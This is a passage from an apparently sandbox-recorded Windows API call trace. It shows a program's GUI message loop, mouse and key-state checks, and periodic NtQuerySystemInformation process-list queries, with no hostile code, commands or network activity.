wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.558] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.558] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.558] IsWindowUnicode (hWnd=0x1015e) returned 1 [0244.558] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.558] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.558] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.558] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x1500112) returned 0x0 [0244.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.558] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.558] WaitMessage () returned 1 [0244.994] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.994] IsWindowUnicode (hWnd=0x10166) returned 1 [0244.994] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0244.994] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0244.994] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0244.994] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.994] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0244.994] WaitMessage () returned 1 [0245.465] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.465] MapWindowPoints (in: hWndFrom=0x10176, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 18940403 [0245.465] IsWindowUnicode (hWnd=0x10176) returned 1 [0245.465] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.465] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0245.465] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0245.465] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0245.466] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.466] MapWindowPoints (in: hWndFrom=0x10176, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 18940403 [0245.466] IsWindowUnicode (hWnd=0x10176) returned 1 [0245.466] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.466] MapWindowPoints (in: hWndFrom=0x10176, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 18940403 [0245.466] SetCursor (hCursor=0x10003) returned 0x10003 [0245.466] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0245.466] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0245.466] _TrackMouseEvent (in: lpEventTrack=0x2cf87b0 | out: lpEventTrack=0x2cf87b0) returned 1 [0245.466] SendMessageW (hWnd=0x10176, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0245.466] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0245.466] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x200, wParam=0x0, lParam=0x17003b) returned 0x0 [0245.466] GetKeyState (nVirtKey=1) returned 0 [0245.466] GetKeyState (nVirtKey=2) returned 0 [0245.466] GetKeyState (nVirtKey=4) returned 0 [0245.466] GetKeyState (nVirtKey=5) returned 0 [0245.467] GetKeyState (nVirtKey=6) returned 0 [0245.467] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.467] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.467] WaitMessage () returned 1 [0245.525] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.525] IsWindowUnicode (hWnd=0x10166) returned 1 [0245.525] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.525] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0245.525] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0245.525] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.525] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.525] WaitMessage () returned 1 [0245.571] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.571] IsWindowUnicode (hWnd=0x10176) returned 1 [0245.571] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.571] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0245.572] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0245.572] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.572] IsWindowUnicode (hWnd=0x10176) returned 1 [0245.572] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0245.572] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0245.572] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0245.572] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x2a1, wParam=0x0, lParam=0x17003b) returned 0x0 [0245.572] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.572] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0245.572] WaitMessage () returned 1 [0246.024] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.024] IsWindowUnicode (hWnd=0x1015c) returned 1 [0246.024] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.024] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0246.024] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0246.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73e0) returned 0x0 [0246.035] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.035] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.035] WaitMessage () returned 1 [0246.055] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.055] IsWindowUnicode (hWnd=0x10166) returned 1 [0246.055] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.055] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0246.055] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0246.055] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.055] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.055] WaitMessage () returned 1 [0246.560] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.560] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.560] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.560] IsWindowUnicode (hWnd=0x10176) returned 1 [0246.561] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.561] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0246.561] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0246.561] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0246.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.561] WaitMessage () returned 1 [0246.585] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.585] IsWindowUnicode (hWnd=0x10166) returned 1 [0246.585] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0246.585] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0246.585] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0246.586] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.586] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0246.586] WaitMessage () returned 1 [0247.116] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0247.116] IsWindowUnicode (hWnd=0x10166) returned 1 [0247.116] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0247.116] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0247.116] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0247.116] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0247.116] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0247.116] WaitMessage () returned 1 [0247.647] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0247.647] IsWindowUnicode (hWnd=0x10166) returned 1 [0247.647] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0247.647] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0247.647] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0247.647] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0247.648] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0247.648] WaitMessage () returned 1 [0248.036] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.036] IsWindowUnicode (hWnd=0x1015c) returned 1 [0248.036] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.036] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0248.036] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0248.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x7260) returned 0x0 [0248.043] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.043] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.043] WaitMessage () returned 1 [0248.177] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.177] IsWindowUnicode (hWnd=0x10166) returned 1 [0248.177] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.177] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0248.177] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0248.177] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.177] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.177] WaitMessage () returned 1 [0248.707] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.707] IsWindowUnicode (hWnd=0x10166) returned 1 [0248.707] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0248.707] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0248.707] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0248.707] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.707] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0248.707] WaitMessage () returned 1 [0249.238] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0249.238] IsWindowUnicode (hWnd=0x10166) returned 1 [0249.238] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0249.238] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0249.238] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0249.238] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0249.238] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0249.238] WaitMessage () returned 1 [0249.768] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0249.768] IsWindowUnicode (hWnd=0x10166) returned 1 [0249.768] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0249.768] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0249.768] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0249.768] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0249.768] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0249.768] WaitMessage () returned 1 [0250.049] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.049] IsWindowUnicode (hWnd=0x1015c) returned 1 [0250.049] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.049] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0250.049] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0250.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71e0) returned 0x0 [0250.051] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.051] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.051] WaitMessage () returned 1 [0250.298] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.298] IsWindowUnicode (hWnd=0x10166) returned 1 [0250.298] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.298] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0250.298] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0250.299] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.299] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.299] WaitMessage () returned 1 [0250.829] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.829] IsWindowUnicode (hWnd=0x10166) returned 1 [0250.829] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0250.829] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0250.829] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0250.829] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.829] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0250.829] WaitMessage () returned 1 [0251.359] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0251.359] IsWindowUnicode (hWnd=0x10166) returned 1 [0251.359] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0251.359] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0251.359] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0251.359] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0251.359] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0251.359] WaitMessage () returned 1 [0251.890] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0251.890] IsWindowUnicode (hWnd=0x10166) returned 1 [0251.890] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0251.890] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0251.890] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0251.890] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0251.890] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0251.890] WaitMessage () returned 1 [0252.061] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.061] IsWindowUnicode (hWnd=0x1015c) returned 1 [0252.061] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.061] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.061] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71e0) returned 0x0 [0252.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.064] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.064] WaitMessage () returned 1 [0252.435] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.435] IsWindowUnicode (hWnd=0x10166) returned 1 [0252.435] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.435] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.435] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.435] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.435] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.435] WaitMessage () returned 1 [0252.614] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.614] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0252.615] IsWindowUnicode (hWnd=0x10172) returned 1 [0252.615] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.615] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0252.615] SetCursor (hCursor=0x10003) returned 0x10003 [0252.615] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.615] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.615] _TrackMouseEvent (in: lpEventTrack=0x2b37270 | out: lpEventTrack=0x2b37270) returned 1 [0252.616] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 